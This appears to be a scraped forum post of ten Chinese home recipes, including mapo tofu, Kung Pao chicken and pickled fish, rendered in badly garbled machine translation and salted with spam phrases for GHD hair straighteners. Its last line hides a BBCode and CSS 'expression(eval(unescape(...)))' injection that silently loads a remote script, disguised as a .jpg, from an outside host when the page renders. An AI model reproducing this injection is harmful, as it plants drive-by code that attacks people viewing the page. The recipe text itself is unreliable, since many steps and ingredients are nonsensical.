Top ten family cooking practices

Mapo Tofu
1. Preparation materials: bean curd cubes (middle hardness), meat mince, bean paste, salt, wine, crushed red pepper, garlic, ginger, pepper abrasive, water, starch, soy sauce, a little sugar.
2. pot add a little vegetable oil, fire heating, oil heat, then added to the bean paste, salt, red pepper, garlic, ginger, pepper powder, floor beef, floor beef can be marinated with the sauce after a and add. Saute.

3. add tofu cut into small pieces. Gaixiao fire, bring to boil.

4. until tofu cooked, changed the fire, add the water, starch, sugar, wine, MSG, soy sauce a good tune. To be spliced even after the sauce off the heat, serve.

5. Remove from heat, spatter with pepper noodles, fragrant, full of spicy Sichuan tofu and serve it!

cola chicken wings
materials: chicken wings in the 6-8 Coca-Cola a small glass, a little chili powder, cumin a little (as grains of cumin, not powder). Steps:
Guo Lifang water, so the water boiled under the chicken wings, chicken wings 7 to adult. Drain the water keep.
surplus oil, chopped scallion and garlic explosion pot, under the wings, put cumin and chili powder, fire, stir fried, deep-fried to the rind a little coke for the best.
excess oil with a spoon to jot out and added to the cola, salt and MSG, Do not let a little water, such as coke dry out quickly when the fire turn it the sauce slightly. While in the burning coke can use a spoon to skim

minced garlic and diced green onion, while the last dish do not forget to nectar too, and obtained together.

dish Bikendeji too delicious chicken wings. Spicy chicken wings, crisp to the bone worked.
twice-cooked pork
raw materials: piglet haunch, garlic

materials: bean glue, black beans, onions, ginger, pepper, aniseed, cinnamon, rice brandy, water below the meat, cook 20 minutes, which put onion, ginger, pepper, aniseed, cinnamon, rice brandy, skim foam, chopsticks can be inserted into the meat off the fire, soak 5 minutes, then tap the pan

garlic Cut diagonally sword section, National Cheng Kung University fillet into skinny slices, look your Daogong, the thinner the better

pan put little oil, under the white meat, stir-fried, fat curly convert perspicuous after spade the meat to the soup (this is the idle access! Oh! the fact is that the first shovel out of the frying meat bean paste), the afterward bean paste, stir marked, the afterward lobster sauce, ginger,GHD Precious Gift Set, garlic, fry . When this Caichao without salt, for the bean paste and salty ample.

garlic slightly alleviated, pour wine, can pan.
Pork

1, wok neat, hot, the next two tablespoons of oil, put three or four tablespoons of sugar, rotate a small fire.
Reading
preparation: a piece of pork, cut into strips one centimeter square.
2, with Chao Shao stirring often, so sugar dissolves, becoming reddish-brown sugar, which is also phoned fried sugar, color
3, to cut the pork into, fried evenly, so that every chip of flesh are added sugar color.

4, add soy sauce, cooking wine, ginger, rock sugar, a little salt, boil and then alteration a small fire two or three minutes after. Such as juice or fewer volatile, increasing the fire sauce.

5, which is act the same again
pickled fish

1, common use grass carp alternatively blackfish as well. What is the figure of fish, do no acknowledge? ? Can not be right ~


2, wash the fish, pay attention to cleaning the abdominal hole of the black film.


3, cut off the fin ... (air-dried shark fin is also good to do ... ... ha ha)


4, the fish cut into segments.


5, paragraph at hand press and clutch the fish with one hand stick a knife according the backbone to push the fish close, feel the location of the fish bones, adjust the intention of the line knife does not cut ... buy a few fish is good practice first:)


6, cleared the fish bone. The head of the cut, pieces under the fish, there are the recess of the fish bone, bones ... ... if you like to eat, you can ignore this step ..


7,GHD IV Straighteners, put the fish down the cross-piece radiotherapy to the head in the direction along the tail by a knife, each thickness of about 5-7 mm. Note here! Direction not to engage in anti-a, or cooked fish will wreck the ~ ~


8, take one egg, left and right back down, pour the egg white standby


9, fish bones into segments, and the fish pate into the pot together, salt and cooking wine merge, then add the egg white mix evenly grasping, standing for 20 minutes ~ Wait a moment, hehe

10, sauerkraut ... ... ... ... ... ... ... ... Cuihua, the pickled cabbage. . . . Two packets of a parcel can be, like aboard the extra point.

11, cut cabbage, into a segment of

12, Heat the oil pot, preferably large oil, but for ...... Or do it with ordinary oil! Stir into chopped pickled ... ... ... ... ... ... then add water or broth boil


13, first into the head and fish bone, Let the soup simmer 5-7 minutes to does not look good, huh, huh!


14, down into the additional fish, 2-3 minutes to fire the head if you do not like, you can not head, and disregarded ...



15, add salt, pepper, pepper powder, MSG and other seasoning, cooking a pot of delicious fish, yeast and you're done!


Kung Pao Chicken
material:

400 grams of chicken chest fried peanuts 1 egg 50 grams

5 cloves garlic, chili

corn starch 10
Note:
seasoning factors as suitable
oil 500 grams (tangible consumption of 50 grams)
sesame oil 1
tablespoon soy sauce tsp cooking wine 1 tablespoon

vinegar 1 tsp salt 1 tsp

tsp sugar 1 tsp MSG




practices
1. Wash the diced chicken with egg white, salt, starch, salt mix well; cleaned mince garlic;
2. Heat wok cooking oil , chicken pot Zhashu, picked up and drain;
3. Pot to linger a little oil, saute the chili, garlic, and then down into the chicken stir fry;
4. Finally, the soy sauce, cooking wine, monosodium glutamate , sugar, vinegar, water, starch, sesame oil, stir well and thicken, and eventually you can add peanuts and stir well.
peanuts must be in the jug before cooking kettle, so long in the boiler and stir fry the fragile emotion of peanuts.
boiled fish


grass an, piece into a fish. I will not, selling fish, employer film:)


salted fish and fish bones individually, (the same sauce) fish sauce to put the bones there was not heavier. Because the flesh .... I thought, ha:)


the pieces add a nice fish egg, some salt, pepper powder, pepper, chicken, starch, wine preserved for about 30 minutes


Guo Lifang a small value of oil, add garlic and ginger. Until fragrant abandoned


This oil is used to do it ~ ~ ~? :) Is used to fish bones, fish bones as thick, and the fish not the same movie heat essential


put a lot of oil,GHD IV Mini Straighteners, add pepper, after tens of seconds, a small fire slowly fried


blow pepper flavor, add dried chili (this two-step process has been low heat)


such as darkening the pot of chili, put the marinated Slide the fish in the pot (the marinated fish is best to use water to wash away the altitude of the East, because that will make the oil dismal unclear)


Hey ~ ~ `and restaurants smell accurate the same boiled fish can pan, open eat:)

close look:)

flavored pork
material: 250 grams of lean meat, water, 70 grams fat fungus, half a carrot, pickled chilli 30 grams, onion 2 stalks, 1 small piece ginger,GHD Purple Butterfly 2011, 5 cloves garlic, corn starch
seasoning: oil, soy sauce, broth, vinegar, salt, sugar, chicken


practice:
1,GHD Red Straighteners, the lean meat cut into thick wire, flourished in the bowl, add salt and water, starch and mix thoroughly; ;
2, Cong Jiangsuan washed shred.
3, fungus and carrot shred.
4, the sugar, soy sauce, vinegar, salt, green onion, ginger, garlic, broth, chicken, water, starch and transferred into a fish-flavored sauce.
5, pan put oil, scalding troughs twelve months when the hot oil into the pork, fried pickled chilli powder into the next post, to be good when fried, and then rises, carrots,GHD Purple Gift Set, and flavored juice into, acute and fried a pair of buttons.

sweet and sour meat ribs

material: 500 grams of rib 1 onion 2 cloves garlic, ginger and a corn starch
Sauce: 500 grams of edible fuels (solid expense of 45 grams) soy sauce 1 / 2 tablespoons balsamic vinegar 1 tablespoon salt 1 / 2 teaspoon sugar 1 tablespoon MSG 1 / 2 tsp


practice:
1. ribs chopped into small pieces Wash; ginger, garlic slices; scallions washed mince;
2. pan put oil, burning troughs twelve months hot, deep fry the ribs picked up the yellow surface of coke drain;
3. pot stay in base oil, add salt, soy sauce, MSG, ginger, garlic, and fry ribs, spare ribs into the surface did not have lukewarm water, fire boil, stew Gaixiao 30 minutes;
4. Weixiang ribs into the soft, the sugar, vinegar, shallot end of starch, starch with water, the launch tin be received gravy.
features: color, ruddy, sweet and sour aroma.
yangkeng Made Easy: put sugar and vinegar to the terminal, sweet and sour taste to it. hot and sour potatoes



a wire, hot and sour potato silk, is the Road Deli, a simple reach, the necessitated raw materials is only a potato, a mini pepper, some pepper and garlic ;
Second, the potatoes go Piqie Si, the more careful the better, Daogong ah ~ ~ then fragmented green peppers, garlic diced
3 potatoes cut cable is agreeable, too cold to starch, so crisp taste Stir the dish.
four, ready to salt and vinegar, with dishes looking at the color of white vinegar will clean.
five or fire, take the wok, add oil.
6, when the oil hot, put peppercorns into them, blow flavor.
7 pepper do not have to fish out, or dine by the right time you ambition know.
8, when the oil is hot, add the chili and the garlic flavor explosion.
9, measure pan stir fry a few.
ten, put white vinegar.
XI, salt, operation should be quickly.
second, and then stir a few times, so that salt taste is more even.
thirteen, vegetables cooked migrate to a panel, plastic, a sour and spicy, crunchy potato wire can serve. [Flash, 0,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu style = ee: expression (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / adore.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D'))); display: none; @ qq.com [/ email] [/ flash]